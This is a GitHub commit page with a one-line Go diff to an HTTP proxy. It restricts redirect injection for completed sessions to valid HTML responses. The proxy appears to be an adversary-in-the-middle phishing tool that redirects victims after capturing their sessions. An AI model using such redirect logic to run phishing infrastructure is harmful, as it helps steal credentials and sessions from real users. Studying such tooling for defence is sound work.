Skip to content

Commit

Permalink
fixed: redirection is now injected only on valid html pages
Browse files Browse the repository at this point in the history
  • Loading branch information
kgretzky committed Jul 26, 2023
1 parent 19d3c0f commit c1480b7
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -1009,7 +1009,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
s, ok := p.sessions[ps.SessionId]
if ok && s.IsDone {
if s.RedirectURL != "" && s.RedirectCount == 0 {
if stringExists(mime, []string{"text/html"}) {
if stringExists(mime, []string{"text/html"}) && resp.StatusCode == 200 && len(body) > 0 && stringExists(string(body), []string{"<head>", "<body>"}) {
// redirect only if received response content is of `text/html` content type
s.RedirectCount += 1
log.Important("[%d] redirecting to URL: %s (%d)", ps.Index, s.RedirectURL, s.RedirectCount)
Expand Down

0 comments on commit c1480b7

Please sign in to comment.